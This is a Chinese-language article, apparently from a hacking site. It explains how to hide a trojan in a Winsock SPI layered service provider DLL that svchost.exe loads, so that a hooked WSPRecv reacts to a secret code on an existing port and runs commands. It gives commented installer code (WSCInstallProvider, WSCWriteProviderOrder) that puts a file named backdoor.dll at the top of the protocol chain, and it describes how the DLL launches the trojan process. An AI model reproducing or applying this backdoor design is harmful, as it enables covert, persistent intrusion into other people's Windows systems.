三)基于SPI的DLL木马技术 上面我们已经介绍了传输服务提供者的特性,现在让我们来看看如果将这种技术运用于木马进程隐藏的。在每个操作系统中都有系统网络服务,它们是在系统启动时自动加载,而且很多是基于IP协议的。如果我们书写了一个IP协议的传输服务提供者,并安装在服务提供者数据库的最前端,系统网络服务就会加载我们的服务提供者。如果将木马程序嵌入到服务提供者的DLL文件之中,在启动系统网络服务时我们的木马程序也会被启动。这种形式的DLL木马只须被安装一次,而后就会被自动加载到可执行文件的进程中,还有一个特点就是它会被多个网络服务加载。通常在系统关闭时,系统网络服务才会结束,所以我们的木马程序同样可以在系统运行时保持激活状态。 在传输服务提供者中,有30个SPI函数是以分配表的形式存在的。在Ws2_32.dll中的大多数函数都有与之对应的传输服务提供者函数。如WSPRecv和WSPSend,它们在Ws2_32.dll中的对应函数是WSARecv和WSASend。我们假设自己编写了一个基于IP协议的服务提供者并安装于系统之中,当系统重启时它被svchost.exe程序加载了,而且svchost.exe在135/TCP监听,完事具备了。在我们的传输服务提供者中,自己重新编写了WSPRecv函数,对接收到的数据进行分析,如果其中含有客户端发送过来的暗号,就执行相应的命令获得期望的动作,之后我们可以调用WSPSend函数将结果发送到客户端,这样不仅隐藏了进程,而且还重用了已有的端口。
四)主要代码分析 1.instBD.exe 可执行程序instBD.exe的主要功能是安装我们自己的分层传输服务提供者,并重新排列所有传输服务提供者的顺序,使我们的服务提供者位于协议链的顶端,这样相应类型的应用程序就会首先进入我们的传输服务提供者接口。本程序只有一个参数,就是安装(-install)或卸载(-remove)。作为演示,本程序只安装了IP分层协议及与TCP相关的协议链。在backdoor.dll中,我们不对数据报进行任何修饰,只是在启动我们的木马进程。
自定义函数: BOOL getfilter(); //获得所有已经安装的传输服务提供者 void freefilter(); //释放存储空间 void installfilter(); //安装分层协议,协议链及排序 void removefilter(); //卸载分层协议和协议链
代码分析: protoinfo=(LPWSAPROTOCOL_INFOW)GlobalAlloc(GPTR,protoinfosize); //分配WSAPROTOCOL_INFOW结构的存储空间 totalprotos=WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode); //获得系统中已安装的所有服务提供者 GetCurrentDirectory(MAX_PATH,filter_path); //得到当前的路径 _tcscpy(filter_name,_T("\\backdoor.dll")); //构造服务提供者文件backdoor.dll的路径全名 WSCInstallProvider(&filterguid,filter_path,&iplayerinfo,1,&errorcode); //安装自定义的IP分层协议 iplayercataid=protoinfo[i].dwCatalogEntryId; //获得已安装自定义IP分层协议的由Ws2_32.dll分配的唯一标志 udpchaininfo.ProtocolChain.ChainEntries[0]=iplayercataid; //将自定义的IP分层协议作为自定义UDP协议链的根分层服务提供者安装在协议链的顶端 WSCInstallProvider(&filterchainguid,filter_path,chainarray,provcnt,&errorcode); //安装协议链 WSCWriteProviderOrder(cataentries,totalprotos); //更新所有服务提供者的安装顺序,把自定义的服务提供者排在所有协议的最前列 WSCDeinstallProvider(&filterguid,&errorcode); //卸载IP分层协议 WSCDeinstallProvider(&filterchainguid,&errorcode); //卸载协议链
2.backdoor.dll 传输服务提供者都是以动态链接库的形式存在的,在应用程序需要时由Ws2_32.dll加载,在用完之后就被卸载。传输服务提供者只有一个入口函数就是WSPStartup,它是Windows Socket 应用程序调用SPI的初始化函数,其他SPI函数的调用都是通过WSPStartup的参数WSPUPCALLTABLE来实现的。其中有个全局变量,可共所有调用DLL的程序读取与修改。在首次加载服务提供者时,我们启动木马进程。演示中木马进程没有任何特别的功能,当客户端和监听的服务器端口连接后,如果客户端发送了特定的暗号,服务端就会回送特定的消息。
上一篇:无盘工作站2000终端全攻略
下一篇:极限软件电影下载密技
|